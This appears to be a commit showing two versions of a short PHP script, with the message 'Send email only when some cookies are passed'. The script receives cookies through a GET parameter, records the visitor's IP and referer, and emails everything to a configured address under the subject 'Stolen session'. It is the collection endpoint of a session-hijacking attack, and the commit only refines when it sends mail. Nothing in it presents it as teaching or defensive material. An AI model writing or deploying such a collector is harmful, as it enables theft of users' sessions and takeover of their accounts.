<?php
include '../../config/config.php';
$referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-');
$cookies = (isset($_GET['cookie']) ? $_GET['cookie'] : '-');
$cookies = preg_split('/;\s*/', $cookies);
$ip = (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-');
$message = "IP: $ip\n"
	. "Referer: $referer\n"
	. "Cookies:\n"
	. implode("\n", $cookies);
mail($mailTo, 'Stolen session', $message, "From: $mailFrom");

<?php
include '../../config/config.php';
$referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-');
$cookies = (isset($_GET['cookie']) ? $_GET['cookie'] : '');
$cookies = preg_split('/;\s*/', $cookies, flags: PREG_SPLIT_NO_EMPTY);
$ip = (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-');
$message = "IP: $ip\n"
	. "Referer: $referer\n"
	. "Cookies:\n"
	. implode("\n", $cookies);
if ($cookies) {
	mail($mailTo, 'Stolen session', $message, "From: $mailFrom");
}

Send email only when some cookies are passed
Send email only when some cookies are passed
